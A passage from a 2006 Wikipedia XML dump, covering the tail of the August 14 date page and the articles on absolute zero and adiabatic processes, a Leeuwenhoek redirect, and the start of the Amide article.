*[[1956]] - [[Rusty Wallace]], American race car driver
*[[1959]] - [[Marcia Gay Harden]], American actress
*1959 - [[Magic Johnson|Earvin &quot;Magic&quot; Johnson]], American basketball player
*[[1960]] - [[Sarah Brightman]], English soprano
*[[1961]] - [[Susan Olsen]], American actress
*[[1964]] - [[Brannon Braga]], American scriptwriter and director
*[[1965]] - [[Emmanuelle Béart]], French actress
*[[1966]] - [[Halle Berry]], American actress
*[[1968]] - [[Darren Clarke]], Northern Irish professional golfer
*[[1973]] - [[Jared Borgetti]], Mexican footballer
*1973 - [[Jay-Jay Okocha]], Nigerian footballer
*1973 - [[Kieren Perkins]], Australian swimmer
*[[1977]] - [[Juan Pierre]], baseball player
*[[1983]] - [[Elena Baltacha]], Ukrainian-born tennis player
*1983 - [[Mila Kunis]], Ukrainian-born actress
*[[1986]] - [[Terin Humphrey]], American gymnast

==Deaths==
*[[1167]] - [[Rainald of Dassel]], Archbishop of Cologne
*[[1204]] - [[Minamoto no Yoriie]], Japanese shogun (b. [[1182]])
*[[1390]] - [[John FitzAlan, 2nd Baron Arundel]], English soldier (b. [[1364]])
*[[1430]] - [[Philip I, Duke of Brabant]] (b. [[1404]])
*[[1433]] - King [[John I of Portugal]] (b. [[1357]])
*[[1464]] - [[Pope Pius II]] (b. [[1405]])
*[[1573]] - [[Saito Tatsuoki]], Japanese warlord (b. [[1548]])
*[[1691]] - [[Richard Talbot, 1st Earl of Tyrconnel]], Irish rebel (b. [[1630]])
*[[1704]] - [[Roland Laporte]], French protestant leader (b. [[1675]])
*[[1727]] - [[William Croft]], English composer (b. [[1678]])
*[[1774]] - [[Johann Jakob Reiske]], German scholar and physician (b. [[1716]])
*[[1784]] - [[Nathaniel Hone]], Irish-born painter (b. [[1718]])
*[[1856]] - [[Constant Prévost]], French geologist (b. [[1787]])
*[[1860]] - [[André Marie Constant Duméril]], French zoologist (b. [[1774]])
*[[1905]] - [[Simeon Solomon]], British artist (b. [[1840]])
*[[1938]] - [[Hugh Trumble]], Australian Test Cricketer (b. [[1876]])
*[[1941]] - [[Paul Sabatier (chemist)|Paul Sabatier]], French chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1854]])
*[[1943]] - [[Joe Kelley]], baseball player (b. [[1871]])
*[[1951]] - [[William Randolph Hearst]], American newspaper magnate (b. [[1863]])
*[[1955]] - [[Herbert Putnam]], [[Librarian of Congress]] (b. [[1861]])
*[[1956]] - [[Bertolt Brecht]], German writer (b. [[1898]])
*[[1958]] - [[Frédéric Joliot]], French physicist, recipient of the [[Nobel Prize in Chemistry]] (b. [[1900]])
*[[1972]] - [[Oscar Levant]], American actor, composer, and musician (b. [[1906]])
*[[1980]] - [[Dorothy Stratten]], Canadian actress and model (b. [[1960]])
*[[1981]] - [[Karl Böhm]], Austrian conductor (b. [[1894]])
*[[1984]] - [[J. B. Priestley]], English novelist and playwright (b. [[1894]])
*[[1985]] - [[Gale Sondergaard]], American actress (b. [[1899]])
*[[1988]] - [[Enzo Ferrari]], Italian car maker (b. [[1898]])
*[[2000]] - [[Alain Fournier]], French-born [[computer graphics]] researcher (b. [[1943]])
*[[2002]] - [[Dave Williams]], American singer ([[Drowning Pool]]) (b. [[1972]])
*[[2003]] - [[Helmut Rahn]], German footballer (b. [[1929]])
*[[2004]] - [[Czeslaw Milosz|Czes&amp;#322;aw Mi&amp;#322;osz]], Polish-born writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1911]])
*[[2005]] - [[Coo Coo Marlin]], American race car driver (b. [[1932]])

==Holidays and observances==
*[[Morocco]] - [[Allegiance]] of [[Oued Eddahab]] or [[Río de Oro]]
*[[Calendar of saints|RC saints]] - [[Maximilian Kolbe]] (Polish Franciscan priest martyred by Nazis in [[1941]])
*[[Pakistan]] - [[Independence Day]]
*[[United States]] - National [[Code talker|Code Talkers]] Day

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/14 BBC: On This Day]

----

[[August 13]] - [[August 15]] - [[July 14]] - [[September 14]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:14 Augustus]]
[[ar:14 أغسطس]]
[[an:14 d'agosto]]
[[ast:14 d'agostu]]
[[bg:14 август]]
[[be:14 жніўня]]
[[bs:14. august]]
[[ca:14 d'agost]]
[[ceb:Agosto 14]]
[[cv:Çурла, 14]]
[[co:14 d'aostu]]
[[cs:14. srpen]]
[[cy:14 Awst]]
[[da:14. august]]
[[de:14. August]]
[[et:14. august]]
[[el:14 Αυγούστου]]
[[es:14 de agosto]]
[[eo:14-a de aŭgusto]]
[[eu:Abuztuaren 14]]
[[fo:14. august]]
[[fr:14 août]]
[[fy:14 augustus]]
[[ga:14 Lúnasa]]
[[gl:14 de agosto]]
[[ko:8월 14일]]
[[hr:14. kolovoza]]
[[io:14 di agosto]]
[[id:14 Agustus]]
[[ia:14 de augusto]]
[[ie:14 august]]
[[is:14. ágúst]]
[[it:14 agosto]]
[[he:14 באוגוסט]]
[[jv:14 Agustus]]
[[ka:14 აგვისტო]]
[[csb:14 zélnika]]
[[ku:14'ê gelawêjê]]
[[lt:Rugpjūčio 14]]
[[lb:14. August]]
[[li:14 augustus]]
[[hu:Augusztus 14]]
[[mk:14 август]]
[[ms:14 Ogos]]
[[nap:14 'e aùsto]]
[[nl:14 augustus]]
[[ja:8月14日]]
[[no:14. august]]
[[nn:14. august]]
[[oc:14 d'agost]]
[[pl:14 sierpnia]]
[[pt:14 de Agosto]]
[[ro:14 august]]
[[ru:14 августа]]
[[sco:14 August]]
[[sq:14 Gusht]]
[[scn:14 di austu]]
[[simple:August 14]]
[[sk:14. august]]
[[sl:14. avgust]]
[[sr:14. август]]
[[fi:14. elokuuta]]
[[sv:14 augusti]]
[[tl:Agosto 14]]
[[tt:14. August]]
[[te:ఆగష్టు 14]]
[[th:14 สิงหาคม]]
[[vi:14 tháng 8]]
[[tr:14 Ağustos]]
[[uk:14 серпня]]
[[ur:14 اگست]]
[[wa:14 d' awousse]]
[[war:Agosto 14]]
[[zh:8月14日]]
[[pam:Agostu 14]]</text>
    </revision>
  </page>
  <page>
    <title>Absolute zero</title>
    <id>1418</id>
    <revision>
      <id>41558959</id>
      <timestamp>2006-02-28T03:38:40Z</timestamp>
      <contributor>
        <username>Melchoir</username>
        <id>454640</id>
      </contributor>
      <comment>rv; that didn't make sense</comment>
      <text xml:space="preserve">'''Absolute zero''' is a fundamental lower bound on the [[temperature]] of any macroscopic [[system]]. It is  a temperature of [[kelvin|0 K]], [[Celsius|&amp;minus;273.15&amp;deg;C]], &lt;!-- Exactly! Celsius is defined as  kelvin minus 273.15 these days. --&gt; or [[Fahrenheit|&amp;minus;459.67&amp;deg;F]].  It is unachievable in practice but it exists as a limit for real [[physical phenomenon|physical phenomena]], and it was inferred by [[extrapolation]] from [[kinetic theory]], and from other considerations in [[theoretical physics]].  One would like to define it as the temperature at which all [[motion]] ceases, but even at absolute zero some motion remains due to the requirements of [[quantum mechanics]]. Alternate definitions are that absolute zero is the temperature at which no further [[energy]] can be extracted from a [[physical body]], or the temperature at which the [[entropy|entropies]] of perfect [[crystal]]s vanish, or the temperature at which the entropy change of an [[adiabatic]] [[process]] vanishes.

A state of '''absolute zero''' was first proposed by [[Guillaume Amontons]] in [[1702]] who was investigating the relationship between [[pressure]] and temperature in [[gas]]es. He lacked accurate and precise [[thermometers]] so his results were only semi-[[quantitative]], but he established that the pressure of a gas increases by roughly one-third between &quot;cold&quot; temperatures and the [[boiling point]] of [[water]]. His work led him to speculate that a sufficient reduction in temperature would lead to the disappearance of pressure. The problem is that all [[ideal gas|real gases]] [[liquid|liquefy]] during the approach to absolute zero.

In [[1848]], [[William Thomson, 1st Baron Kelvin]] proposed an [[thermodynamic temperature|absolute thermodynamic temperature]] scale in which equal reduction in measured temperature gave rise to equal reduction in the heat of a [[body]]. This freed the concept from the constraints of the [[gas laws]] and established absolute zero as the temperature at which no further heat could be removed from a body. Absolute zero has never been reached, and it appears it never will be. It may be [[asymptote|asymptotically]] approached like the [[speed of light]], but never attained.

==Kinetic theory and motion==
According to [[kinetic theory]], there should be no movement of individual [[molecule]]s at absolute zero, so any material at this temperature would be solid. In a [[monatomic]] gas, most of the energy is in the form of translational motion, and the temperature can be measured in terms of the [[Maxwell-Boltzmann distribution|distribution of this motion]], with slower speeds corresponding to lower temperatures, perhaps even down to absolute zero. But this is contrary to [[experiment]]al evidence, and it is predicted that [[helium]] will never [[solid|solidify]], no matter how much it is cooled or compressed.

Because of quantum-mechanical effects, the speed at absolute zero is larger than zero and depends, along with the energy, on the volume within which a particle is confined. At absolute zero, the [[molecule]]s and [[atom]]s in a system are all in their [[ground state]], the state of lowest possible energy, and a system has the least amount of kinetic energy allowed by the [[laws of physics]]. But the lowest possible [[zero-point energy]] for a ''confined'' [[particle in a box]] is not zero. Rather than being fixed and non-moving, the equation for the energy levels shows that no matter how low the temperature gets, even when the [[quantum number]] takes its minimum value of one, a particle still has some translational [[kinetic energy]] and motion. This is a reflection of [[Werner Heisenberg|Heisenberg's]] [[uncertainty principle]], which states that the [[dimension|position]] and the [[momentum]] of a particle cannot both be known precisely at any given time.

Similarly, using the [[harmonic oscillator|harmonic]] approximation for the vibrations of a diatomic molecule, the [[quantum harmonic oscillator]] yields a positive zero-point energy even when the vibrational [[quantum number]] takes its minimum value of zero. For polyatomic molecules, and for  bodies such as [[crystal]]s, whose [[normal mode]] motions can not be assigned to individual atoms or [[chemical bond]]s, the lowest-energy state is that of the system as a whole.

[[Classical mechanics|Classically]], the absolute temperature ''T'' of a system of molecules at [[thermodynamic equilibrium]] assigns an average of 1/2&amp;nbsp;''kT'' to each [[quadratic function|quadratic]] [[kinetic energy|kinetic]] and/or [[potential energy]] term in each mechanical [[degrees of freedom (physics and chemistry)|degree of freedom]], where ''k'' is [[Boltzmann constant|Boltzmann's constant]]. (See [[Degrees of freedom (physics and chemistry)#Equipartition theorem|equipartition of energy]] and the role of the [[Boltzmann distribution]] in relating temperature to energy.) But quantum mechanics shows that this is obeyed only for temperatures such that ''kT''&amp;nbsp;&gt;&amp;nbsp;''hν'', where ''h'' is [[Planck's constant]] and ν is a characteristic [[frequency]]. As ''T'' decreases, the assumption that energy is continuously variable fails whenever ''hν'' exceeds ''kT''. For [[normal mode|vibrational modes]] in crystals, this happens at [[room temperature]], which explains the deviation of the calculated [[specific heat capacity|specific heats]] of atomic crystals from the [[experiment]]al [[Dulong-Petit law]] value of 3''R''&amp;nbsp;/mole, a fact which puzzled late [[19th century]] [[physics|physicists]] and [[physical chemistry|physical chemists]]. (Rushbrooke, p. 33)

==Cryogenics==
It can be shown from the laws of [[thermodynamics]] that absolute zero can never be achieved, though it is possible to reach temperatures arbitrarily close to it through the use of [[cryocoolers]]. This is the same principle that ensures no [[machine]] can be 100% efficient.

At very low temperatures in the vicinity of absolute zero, matter exhibits many unusual properties including [[superconductor|superconductivity]], [[superfluid|superfluidity]], and [[Bose-Einstein condensate|Bose-Einstein condensation]]. In order to study such [[phenomenon|phenomena]], [[scientist]]s have worked to obtain ever lower temperatures.

*As of September 2003, the lowest temperature Bose-Einstein condensate achieved was 450&amp;#160;[[1 E-12 K|pK]], or 4.5&amp;#160;&amp;#215;&amp;#160;10&lt;sup&gt;-10&lt;/sup&gt;&amp;#160;K. This was performed by [[Wolfgang Ketterle]] and colleagues at the [[Massachusetts Institute of Technology]].{{rf|1|Leanhardt}}

*As of February 2003, the [[Boomerang Nebula]], with a temperature of 1.15&amp;#160;K, is the coldest place known outside a laboratory. The [[nebula]] is [[1 E19 m|5000 light-years]] from [[Earth]] and is in the constellation [[Centaurus]].{{rf|2|Cauchi}}

*As of November 2002, the coldest temperature produced was 100 pK during an experiment on [[nuclear magnetic ordering]] in the [[Helsinki University of Technology]]'s Low Temperature Lab.{{rf|3|Knuuttila}}

==Thermodynamics near absolute zero==
At 0&amp;nbsp;K, (nearly) all molecular motion ceases and Δ''S''&amp;nbsp;=&amp;nbsp;0 for any [[adiabatic process]]. Pure substances can (ideally) form perfect [[crystal]]s as ''T''&amp;nbsp;→&amp;nbsp;0. [[Max Planck|Planck's]] strong form of the [[third law of thermodynamics]] states that the [[entropy]] of a perfect crystal vanishes at absolute zero. However, if the lowest energy state is [[degenerate energy level|degenerate]] (more than one [[microstate (statistical mechanics)|microstate]]), this cannot be true. The original [[Walther Nernst|Nernst]] ''heat theorem'' makes the weaker and less controversial claim that the entropy ''change'' for any isothermal process approaches zero as ''T''&amp;nbsp;→&amp;nbsp;0

:&lt;math&gt; \lim_{T \to 0} \Delta S = 0 &lt;/math&gt;

which implies that the entropy of a perfect crystal simply approaches a constant value.

&lt;font color=maroon&gt;''The Nernst postulate identifies the isotherm T&amp;nbsp;=&amp;nbsp;0 as coincident with the adiabat S&amp;nbsp;=&amp;nbsp;0, although other isotherms and adiabats are distinct. As no two adiabats intersect, no other adiabat can intersect the T&amp;nbsp;=&amp;nbsp;0 isotherm. Consequently no adiabatic process initiated at nonzero temperature can lead to zero temperature.''&lt;/font&gt; (≈&amp;nbsp;Callen, pp. 189-190)

An even stronger assertion is that &lt;font color=maroon&gt;''It is impossible by any procedure to reduce the temperature of a system to zero in a finite number of operations.''&lt;/font&gt; (≈&amp;nbsp;Guggenheim, p. 157)

A perfect crystal is one in which the internal [[lattice (group)|lattice]] structure extends uninterrupted in all directions. The perfect order can be represented by translational [[symmetry]] along three (not usually [[orthogonality|orthogonal]]) [[Cartesian coordinate system|axes]]. Every lattice element of the structure is in its proper place, whether it is a single atom or a molecular grouping. For [[chemical substance|substances]] which have two (or more) stable crystalline forms, such as [[diamond]] and [[graphite]] for [[carbon]], there is a kind of &quot;chemical degeneracy&quot;. The question remains whether both can have zero entropy at ''T''&amp;nbsp;=&amp;nbsp;0 even though each is perfectly ordered.

Perfect crystals never occur in practice; imperfections, and even entire amorphous materials, simply get &quot;frozen in&quot; at low temperatures, so transitions to more stable states do not occur.

Using the [[Peter Debye|Debye]] model, the [[specific heat capacity|specific heat]] and entropy of a pure crystal are proportional to ''T''&lt;sup&gt;&amp;nbsp;3&lt;/sup&gt;, while the [[enthalpy]] and [[chemical potential]] are proportional to ''T''&lt;sup&gt;&amp;nbsp;4&lt;/sup&gt;. (Guggenheim, p. 111) These quantities drop toward their ''T''&amp;nbsp;=&amp;nbsp;0 limiting values and approach with ''zero'' slopes. For the specific heats at least, the limiting value itself is definitely zero, as borne out by experiments to below 10&amp;nbsp;K. Even the less detailed [[Albert Einstein|Einstein]] model shows this curious drop in specific heats. In fact, all specific heats vanish as absolute zero, not just those of crystals. Likewise for the coefficient of [[thermal expansion]]. [[Maxwell relations|Maxwell's relations]] show that various other quantities also vanish. These [[phenomenon|phenomena]] were unanticipated. 

Since the relation between changes in the [[Gibbs free energy]], the enthalpy and the entropy is

:&lt;math&gt; \Delta G = \Delta H - T \Delta S \,&lt;/math&gt;

it follows that as ''T'' decreases, Δ''G'' and Δ''H'' approach each other (so long as  Δ''S'' is bounded). [[Experiment]]ally, it is found that most [[chemical reaction]]s are [[exothermic reaction|exothermic]] and release heat ''in the direction'' they are found to be going, toward [[thermodynamic equilibrium|equilbirum]]. That is, even at [[room temperature]] ''T'' is low enough so that the fact that (Δ''G'')&lt;sub&gt;''T,P''&lt;/sub&gt;&amp;nbsp;&lt;&amp;nbsp;0 (usually) implies that Δ''H''&amp;nbsp;&lt;&amp;nbsp;0. (In the opposite direction, each such reaction would of course absorb heat.)

More than that, the ''slopes'' of the temperature derivatives of Δ''G'' and Δ''H'' converge and ''are equal to zero'' at ''T''&amp;nbsp;=&amp;nbsp;0, which ensures that Δ''G'' and Δ''H'' are nearly the same over a considerable range of temperatures, justifying the approximate [[empiricism|empirical]] [[Principle of Thomsen and Berthelot]], which says that &lt;font color=maroon&gt;''the equilibrium state to which a system proceeds is the one which evolves the greatest amount of heat''&lt;/font&gt;, i.e., an actual process is the ''most exothermic one''. (Callen, pp. 186-187)

==Absolute temperature scales==
As mentioned, absolute or [[thermodynamic temperature]] is conventionally measured in [[Kelvin]]s (Celsius-size degrees), and increasingly rarely in the [[Rankine]] scale (Fahrenheit-size degrees). Absolute temperature is uniquely determined up to a multiplicative constant which specifies the size of the &quot;degree&quot;, so the ''ratios'' of two absolute temperatures, ''T''&lt;sub&gt;2&lt;/sub&gt;/''T''&lt;sub&gt;1&lt;/sub&gt;, are the same in all scales. The most transparent definition comes from the classical [[Maxwell-Boltzmann distribution]] over energies, or from the quantum analogs: [[Fermi-Dirac statistics]] (particles of half-integer [[spin (physics)|spin]]) and [[Bose-Einstein statistics]] (particles of integer spin), all of which give the relative numbers of particles as (decreasing) [[exponential function]]s of energy over ''kT''. On a [[macroscopic]] level, a definition can be given in terms of the efficiencies of &quot;reversible&quot; [[heat engine]]s operating between hotter and colder thermal reservoirs.

==Negative temperatures==
{{main|Negative temperature}}

Certain semi-isolated systems can achieve negative temperatures; however, they are not actually colder than absolute zero.

==References==
* {{cite book | author=Herbert B. Callen | title=Thermodynamics, Chapter 10 | publisher=John Wiley &amp; Sons, Inc. | year=1960}} Library of Congress Catalog Card No. 60-5597. The clearest presentation of the logical foundations of the subject.
* {{cite book | author=E.A. Guggenheim | title=Thermodynamics: An Advanced Treatment for Chemists and Physicists, 5th ed. | publisher=North Holland; John Wiley &amp; Sons, Inc. | year=1967}} Library of Congress Catalog Card No. 60-20003. A remarkably astute and comprehensive treatise.
* {{cite book | author=G. S. Rushbrooke | title=Introduction to Statistical Mechanics | publisher=Oxford Univ. Press | year=1949}} The classic, compact introduction to the subject.

==Notes==
{{ent|1|Leanhardt}} Leanhardt, A. ''et al.'' (2003) ''Science'' '''301''' 1513. [http://physicsweb.org/article/news/7/9/8 Physicsweb news report]
{{ent|2|Cauchi}} [http://www.smh.com.au/articles/2003/02/20/1045638427695.html Press report February 21 2003]
{{ent|3|Knuuttila}} The experimental methods and results are presented in detail in T.A. Knuuttila’s Ph.D. thesis which can be downloaded [http://www.hut.fi/Yksikot/Kirjasto/Diss/2000/isbn9512252147/ here]. [http://ltl.hut.fi/Low-Temp-Record.html Low temperature Press release]

[[Category:Temperature]]
[[Category:Thermodynamics]]

[[ar:صفر مطلق]]
[[bg:Абсолютна нула]]
[[ca:Zero absolut]]
[[cs:Absolutní nula]]
[[da:Absolut nulpunkt]]
[[de:Absoluter Nullpunkt]]
[[et:Absoluutne nulltemperatuur]]
[[es:Cero absoluto]]
[[fr:Zéro absolu]]
[[gl:Cero absoluto]]
[[ko:절대 영도]]
[[is:Alkul]]
[[it:Zero assoluto]]
[[he:האפס המוחלט]]
[[lv:Absolūtā nulle]]
[[nl:Absoluut nulpunt]]
[[ja:絶対零度]]
[[no:Det absolutte nullpunkt]]
[[pl:Zero bezwzględne]]
[[pt:Zero absoluto]]
[[ru:Абсолютный нуль температуры]]
[[simple:Absolute zero]]
[[sk:Absolútna nula]]
[[sl:Absolutna ničla]]
[[fi:Absoluuttinen nollapiste]]
[[sv:Absoluta nollpunkten]]
[[th:ศูนย์องศาสัมบูรณ์]]
[[uk:Абсолютний нуль]]
[[zh:绝对零度]]</text>
    </revision>
  </page>
  <page>
    <title>Adiabatic process</title>
    <id>1419</id>
    <revision>
      <id>41634537</id>
      <timestamp>2006-02-28T18:00:59Z</timestamp>
      <contributor>
        <username>Joe Frickin Friday</username>
        <id>843319</id>
      </contributor>
      <minor />
      <comment>removed statement about absence of chemical processes (paragraph 2).</comment>
      <text xml:space="preserve">:''This article covers adiabatic processes in [[thermodynamics]]. For adiabatic processes in [[quantum mechanics]], see [[adiabatic process (quantum mechanics)]].  For atmospheric adiabatic processes, see [[adiabatic lapse rate]].''

In [[thermodynamics]], an '''adiabatic process''' is a process in which no [[heat]] is transferred to or from working [[fluid]]. The term &quot;adiabatic&quot; literally means an absence of heat transfer; for example, an '''adiabatic boundary''' is a boundary that is impermeable to heat transfer and the system is said to be adiabatically (or thermally) insulated. An insulated wall approximates an adiabatic boundary.
Another example is the [[adiabatic flame temperature]], which is the temperature that would be achieved by a [[fire|flame]] in the absence of heat loss to the surroundings.
An adiabatic process which is also [[reversible process|reversible]] is called an [[isentropic process]]. 

The opposite extreme, in which the maximum heat transfer with its surroundings occurs, causing the temperature to remain constant, is known as an [[isothermal process]]. Since temperature is thermodynamically [[conjugate variables (thermodynamics)|conjugate]] to entropy, the isothermal process is conjugate to the adiabatic process for reversible transformations.

A transformation of a thermodynamic system can be considered adiabatic when it is quick enough so that no significant [[heat transfer]] happens between the system and the outside. At the opposite, a transformation of a thermodynamic system can be considered [[isothermal process|isothermal]] if it is slow enough so that the system's temperature can be maintained by [[heat]] exchange with the outside. 

== Adiabatic heating and cooling ==
Adiabatic heating and cooling are processes that commonly occur due to a change in the [[pressure]] of a [[gas]]. Adiabatic heating occurs when the pressure of a gas is increased. An example of this is what goes on in a [[bicycle pump]]. After using a bicycle pump to inflate a pneumatic tyre or [[soccer ball]] the barrel of the pump is found to have heated up as a result of adiabatic heating. A common motorized [[air compressor]], operating at pressures up to 150 [[Pound-force per square inch|psi]], can reach outlet temperatures of several hundred degrees Fahrenheit.  Adiabatic cooling occurs when the pressure of a gas is decreased, such as when it expands into a larger volume.  An example of this is when the air is released from a pneumatic tire; the outlet air will be noticably cooler than the tire, and after all the air has escaped the valve stem will be cold to the touch.  [[Diesel engines]] rely on adiabatic heating during their compression stroke to reach the high temperatures needed to ignite the fuel.  Such temperature changes can be quantified using the [[ideal gas law]].

Adiabatic cooling does not have to involve a fluid. One technique used to reach very low temperatures (thousandths and even millionths of a degree above absolute zero) is [[adiabatic demagnetization|adiabatic demagnetisation]], where the change in [[magnetic field]] on a magnetic material is used to provide adiabatic cooling.

==Ideal gas==
[[Image:Adiabatic.png|thumb|341px|For a simple substance, during an adiabatic process in which the volume increases, the [[internal energy]] of the working substance must necessarily decrease]]
The mathematical equation for an [[ideal gas|ideal]] fluid undergoing an adiabatic process is
: &lt;math&gt; P V^{\gamma} = \operatorname{constant} \qquad &lt;/math&gt;
where ''P'' is pressure, ''V'' is volume, and
: &lt;math&gt; \gamma = {C_{P} \over C_{V}} = \frac{\alpha + 1}{\alpha}, &lt;/math&gt;
&lt;math&gt; C_{P} &lt;/math&gt; being the [[molar specific heat]] for constant pressure and
&lt;math&gt; C_{V} &lt;/math&gt; being the molar specific heat for constant volume.
&lt;math&gt; \alpha &lt;/math&gt; comes from the number of degrees of freedom (3/2 for monatomic gas, 5/2 for diatomic gas, 3 for complex molecules).
For a monatomic ideal gas, &lt;math&gt; \gamma = 5/3 &lt;/math&gt;, and for a diatomic gas (such as [[nitrogen]] and [[oxygen]], the main components of [[Earth's atmosphere|air]]) &lt;math&gt; \gamma = 7/5 &lt;/math&gt;. Note that the above formula is  only applicable to classical ideal gases and not Bose-Einstein or Fermi gases.

For adiabatic processes, it is also true that

: &lt;math&gt; VT^\alpha = \operatorname{constant} &lt;/math&gt;

''T'' is temperature in kelvins.

===Derivation of formula===
The definition of an adiabatic process is that heat transfer to the system is zero, &lt;math&gt;\delta Q=0 &lt;/math&gt;. Then, according to the [[first law of thermodynamics]],

:&lt;math&gt; d U + \delta W = \delta Q = 0 \qquad \qquad \qquad (1) &lt;/math&gt;

where ''dU'' is the change in the internal energy of the system and ''&amp;delta;W'' is work done
''by'' the system.  Any work (''&amp;delta;W'') done must be done at the expense of internal energy ''U'', since no heat ''&amp;delta;Q'' is being supplied from the surroundings. Pressure-volume work ''&amp;delta;W'' done ''by'' the system is defined as

:&lt;math&gt; \delta W = P dV. \qquad \qquad \qquad (2)&lt;/math&gt;

However, ''P'' does not remain constant during an adiabatic process but
instead changes along with ''V''.

It is desired to know how the values of &lt;math&gt; d P &lt;/math&gt; and
&lt;math&gt; d V &lt;/math&gt; relate to each other as the adiabatic process proceeds.

:&lt;math&gt; C_{V} = \alpha R\,&lt;/math&gt; 

where ''R'' is the [[universal gas constant]].

Given &lt;math&gt; d P &lt;/math&gt; and &lt;math&gt; d V &lt;/math&gt; then
&lt;math&gt; \delta W = P d V &lt;/math&gt; and

: &lt;math&gt; d E = \alpha n R d T
                  = \alpha d (P V)
                  = \alpha (P d V + V d P). \qquad (3)&lt;/math&gt;

Now substitute equations (2) and (3) into equation (1) to obtain

: &lt;math&gt; -P d V = \alpha P d V + \alpha V d P \,&lt;/math&gt;

simplify,

: &lt;math&gt; - (\alpha + 1) P d V = \alpha V d P \,&lt;/math&gt;

divide both sides by ''PV'',

: &lt;math&gt; -(\alpha + 1) {d V \over V} = \alpha {d P \over P}. &lt;/math&gt;

From the differential calculus it is then known that

: &lt;math&gt; -(\alpha + 1) d (\ln V) = \alpha d (\ln P)  \,&lt;/math&gt;

which can be expressed as

: &lt;math&gt; {\ln P - \ln P_0 \over \ln V - \ln V_0 } = -{\alpha + 1 \over \alpha} &lt;/math&gt;

for certain constants &lt;math&gt; P_0 &lt;/math&gt; and &lt;math&gt; V_0 &lt;/math&gt; of the
initial state.  Then

: &lt;math&gt; {\ln (P/P_0) \over \ln (V/V_0)} = -{\alpha + 1 \over \alpha}, &lt;/math&gt;

: &lt;math&gt; 
\ln \left( {P \over P_0} \right) 
=\ln \left( {V \over V_0} \right)^{-{\alpha + 1 \over \alpha}}. &lt;/math&gt;

Exponentiate both sides,

: &lt;math&gt; \left( {P \over P_0} \right) 
=
\left( {V \over V_0} \right)^{-{\alpha + 1 \over \alpha}},  &lt;/math&gt;

eliminate the negative sign,

: &lt;math&gt; \left( {P \over P_0} \right)
=
\left( {V_0 \over V} \right)^{\alpha + 1 \over \alpha}.  &lt;/math&gt;

Therefore

: &lt;math&gt; \left( {P \over P_0} \right) \left( {V \over V_0} \right)^{\alpha+1 \over \alpha} = 1
&lt;/math&gt;

and

: &lt;math&gt; P V^{\alpha+1 \over \alpha} = P_0 V_0^{\alpha+1 \over \alpha} = P V^\gamma = \operatorname{constant}. &lt;/math&gt;

==Graphing adiabats==
Properties of adiabats on a P-V diagram are:
#Every adiabat asymptotically approaches both the V axis and the P axis (just like isotherms).
#Each adiabat intersects each isotherm exactly once.
#An adiabat looks similar to an isotherm, except that during an expansion, an adiabat loses more pressure than an isotherm, so it has a steeper inclination (more vertical).
#If isotherms are concave towards the &quot;north-east&quot; direction (45 &amp;deg;), then adiabats are concave towards the &quot;east north-east&quot; (31 &amp;deg;).
#If adiabats and isotherms are graphed severally at regular changes of entropy and temperature, respectively (like altitude on a contour map), then as the eye moves outwards away from the axes (towards the north-east), it sees the density of isotherms stay constant, but it sees the density of adiabats drop.  The exception is very near absolute zero, where the density of adiabats drops sharply and they become rare (see [[Nernst's theorem]]).

The following diagram is a P-V diagram with a superposition of adiabats and isotherms:

[[Image:Entropyandtemp.PNG]]

The isotherms are the red curves and the adiabats are the black curves.  The adiabats are isentropic.  Volume is the [[abscissa]] (x-axis) and pressure is the [[ordinate]] (y-axis).

== See also ==

* [[Cyclic process]]
* [[First law of thermodynamics]]
* [[Isobaric process]]
* [[Isochoric process]]
* [[Isothermal process]]
* [[Thermodynamic entropy]]
* [[Quasistatic equilibrium]]

[[Category:Thermodynamics]]

[[cs:Adiabatický děj]]
[[da:Adiabatisk]]
[[de:Adiabatische Zustandsänderung]]
[[es:Proceso adiabático]]
[[nl:Adiabatisch]]
[[ja:断熱過程]]
[[pl:Przemiana adiabatyczna]]
[[sk:Adiabatický dej]]
[[sl:Adiabatna sprememba]]
[[fi:Adiabaattinen prosessi]]
[[sv:Adiabatisk process]]
[[uk:Адіабатичний процес]]</text>
    </revision>
  </page>
  <page>
    <title>Antoni van Leeuwenhoek</title>
    <id>1420</id>
    <revision>
      <id>15899904</id>
      <timestamp>2002-02-26T18:50:24Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[Anton van Leeuwenhoek]]</comment>
      <text xml:space="preserve">#REDIRECT [[Anton van Leeuwenhoek]]</text>
    </revision>
  </page>
  <page>
    <title>Amide</title>
    <id>1422</id>
    <revision>
      <id>37595258</id>
      <timestamp>2006-01-31T23:47:22Z</timestamp>
      <contributor>
        <username>V8rik</username>
        <id>195918</id>
      </contributor>
      <comment>moved text around, added some content, removed one or two lines that were unclear.</comment>
      <text xml:space="preserve">[[Image:Amide.png|right|Amide functional group]]In [[chemistry]], an '''''amide''''' is either the [[organic chemistry|organic]] [[functional group]] characterized by a [[carbonyl]] group linked to a [[nitrogen]] atom or a compound that contains this functional group, or a particular [[inorganic]] [[anion]]. In organic chemistry, an amide is essentially an [[amine]] where one of the nitrogen [[substituent|substituents]] is a carbonyl group, represented generally by the formula: R&lt;sub&gt;1&lt;/sub&gt;([[carbon|C]][[oxygen|O]])[[nitrogen|N]]R&lt;sub&gt;2&lt;/sub&gt;R&lt;sub&gt;3&lt;/sub&gt; where either or both of R&lt;sub&gt;2&lt;/sub&gt; and R&lt;sub&gt;3&lt;/sub&gt; may be [[hydrogen]]. Specifically, an amide can also be regarded as a derivative of a [[carboxylic acid]] in which the hydroxyl group has been replaced by an [[amine]] or [[ammonia]].

Compounds in which a [[hydrogen]] atom on nitrogen from [[ammonia]] or an [[amine]] is replaced by a [[metal]] [[cation]] are also known as amides or '''azanides'''.

The inorganic amide anion is an extremely strong base, due to the extreme weakness of ammonia as a [[Brønsted acid]].

==Amide synthesis==
[[Image:Amide react.png|right|Amide bond formation]]
*Amides are commonly formed from the reaction of a [[carboxylic acid]]s with an [[amine]].This is the reaction that forms [[peptide bond]]s between [[amino acid]]s. These amides can participate in [[hydrogen bond|hydrogen bonding]] as hydrogen bond acceptors and donors, but do not [[ion|ionize]] in aqueous solution, whereas their parent acids and amines are almost completely ionized in solution at neutral pH. Amide formation plays a role in the synthesis of some [[condensation polymer]]s, such as [[nylon]] and [[Kevlar]]. 
